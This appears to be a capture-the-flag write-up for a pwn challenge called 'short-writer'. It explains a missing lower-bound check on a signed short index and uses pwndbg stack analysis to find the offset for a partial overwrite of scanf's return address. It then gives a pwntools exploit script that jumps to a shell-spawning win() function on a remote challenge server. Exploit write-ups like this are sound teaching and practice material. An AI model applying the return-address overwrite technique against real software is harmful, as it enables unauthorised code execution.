short-writer
- Category
-
pwn - Files
- chal main.c Dockerfile
- Description
- The revenge round of Integer Writer
Program Analysis
The program is straightforward. It contains a win() function that spawns a shell.
void win() { execve("/bin/sh", NULL, NULL);}In main(), we see the core logic:
// gcc -o chal main.c#include <stdio.h>#include <string.h>#include <unistd.h>
/*** How to get the address of `win` **
$ nm chal | grep win XXXXXXXXX
*/
void win() { execve("/bin/sh", NULL, NULL);}
int main(void) { short shorts[100], pos;
/* disable stdio buffering */ setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
printf("pos > "); scanf("%hd", &pos); if (pos >= 100) { puts("You're a hacker!"); return 1; } printf("val > "); scanf("%hd", &shorts[pos]);
return 0;}The program does three simple things:
- Asks for a position (
pos). - Checks if
pos >= 100. - Asks for a value and writes it to
shorts[pos].
The vulnerability is obvious: the pos check only verifies the upper bound. Since pos is a short (signed 16-bit integer), we can provide a negative value to index before the shorts array on the stack.
Looking at the disassembly of main, we can see the stack layout:
127b: lea rax,[rbp-0xd2] # pos address12da: lea rax,[rbp-0xd0] # shorts addressposis atrbp-0xd2.shorts[0]is atrbp-0xd0.
Since each short is 2 bytes, we can calculate the address of shorts[pos] as (rbp-0xd0) + (pos * 2).
Now that we know the bug, let’s move to the exploitation part.
Starting with a basic check of the binary’s protections:
❯ checksec chal Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: NoThe binary has all protections enabled: Full RELRO, Canary, NX, and PIE.
Exploitation
For this challenge, I first turned off aslr for easier debugging:
❯ aslr_off0or
❯ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space0With PIE enabled, all addresses are randomized at runtime, and Full RELRO prevents GOT overwrites by marking it read-only. Therefore, the only viable exploitation target is the return address of __isoc99_scanf(), which typically returns to main+***.
Debugging with Pwndbg
Breaking at *__isoc99_scanf+201 (the ret instruction):
pwndbg>────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────── ► 0x7ffff7c5fed9 <__isoc99_scanf+201> ret <main+140> ↓ 0x555555555299 <main+140> movzx eax, word ptr [rbp - 0xd2] EAX, [0x7fffffffe12e] => 0xfff4 0x5555555552a0 <main+147> cmp ax, 0x63 0xfff4 - 0x63 EFLAGS => 0x282 [ cf pf af zf SF IF df of ac ] 0x5555555552a4 <main+151> ✔ jle main+175 <main+175> ↓ 0x5555555552bc <main+175> lea rax, [rip + 0xd65] RAX => 0x555555556028 ◂— 0x203e206c6176 /* 'val > ' */ 0x5555555552c3 <main+182> mov rdi, rax RDI => 0x555555556028 ◂— 0x203e206c6176 /* 'val > ' */ 0x5555555552c6 <main+185> mov eax, 0 EAX => 0 0x5555555552cb <main+190> call printf@plt <printf@plt>
0x5555555552d0 <main+195> movzx eax, word ptr [rbp - 0xd2] 0x5555555552d7 <main+202> movsx edx, ax 0x5555555552da <main+205> lea rax, [rbp - 0xd0]──────────────────────────────────────────[ STACK ]──────────────────────────────────────────00:0000│ rsp 0x7fffffffe118 —▸ 0x555555555299 (main+140) ◂— movzx eax, word ptr [rbp - 0xd2]01:0008│-0e0 0x7fffffffe120 ◂— 0x1402:0010│-0d8 0x7fffffffe128 ◂— 0xfff4000000000040 /* '@' */03:0018│-0d0 0x7fffffffe130 ◂— 0x80000004:0020│-0c8 0x7fffffffe138 ◂— 805:0028│-0c0 0x7fffffffe140 ◂— 0xffffffffffffffff06:0030│-0b8 0x7fffffffe148 ◂— 0x40 /* '@' */07:0038│-0b0 0x7fffffffe150 ◂— 0xc /* '\x0c' */────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────The stack at 0x7fffffffe118 contains the address of main+140. To overwrite this, we need to find the distance from our shorts array.
Breaking at the second scanf() (*main+239):
pwndbg>────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────── ► 0x5555555552fc <main+239> call __isoc99_scanf@plt <__isoc99_scanf@plt> format: 0x555555556013 ◂— 0x27756f5900646825 /* '%hd' */ rsi: 0x7fffffffe130 ◂— 0x800000
0x555555555301 <main+244> mov eax, 0 EAX => 0 0x555555555306 <main+249> mov rdx, qword ptr [rbp - 8] 0x55555555530a <main+253> sub rdx, qword ptr fs:[0x28] 0x555555555313 <main+262> je main+269 <main+269>
0x555555555315 <main+264> call __stack_chk_fail@plt <__stack_chk_fail@plt>
0x55555555531a <main+269> leaveb+ 0x55555555531b <main+270> ret
0x55555555531c <_fini> endbr64 0x555555555320 <_fini+4> sub rsp, 8 0x555555555324 <_fini+8> add rsp, 8─────────────────────────────────────────────────────────────────────────────────────────────shorts[0]is at0x7fffffffe130.- Target return address is at
0x7fffffffe118.
Calculating the offset:
pwndbg> p 0x7fffffffe130 - 0x7fffffffe118$1 = 24The difference is 24 bytes. Since we index by short (2 bytes), the required index is:
pos = -24 / 2 = -12.
By providing -12 as our pos, we can overwrite the last 2 bytes of the saved instruction pointer main+140. By changing these to the last 2 bytes of the win() function, scanf() will return directly into win() when it finishing reading our value.
Note
Since PIE is enabled, we need to run this multiple times until the base address aligns such that our 2-byte overwrite correctly points to win.
Exploit Script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''init-pwndbgset follow-fork-mode parentset follow-exec-mode sameb mainb *main+135b *main+239b *main+270b *__isoc99_scanf+201continue'''.format(**locals())
exe = './chal'elf = context.binary = ELF(exe, checksec=False)context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)def loglibc(): log.success('libc addr = %#x' % libc.address)def logbase(): log.success('pie addr = %#x' % elf.address)def sa(delim,data): return io.sendafter(delim,data)def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary# libc = ELF("./libc.so.6")# ld = ELF("./ld-2.27.so")
offset = 72
io = start()
win = elf.sym["win"] & 0x0fff
sla(b'> ',str(-12))sla(b'> ',str(win))
io.interactive()Running the exploit:
python3 exploit.py REMOTE <ip> <port>[+] Opening connection to <ip> on port <port>: Done[*] Switching to interactive mode$ iduid=999(pwn) gid=999(pwn) groups=999(pwn)Another daily challenge down!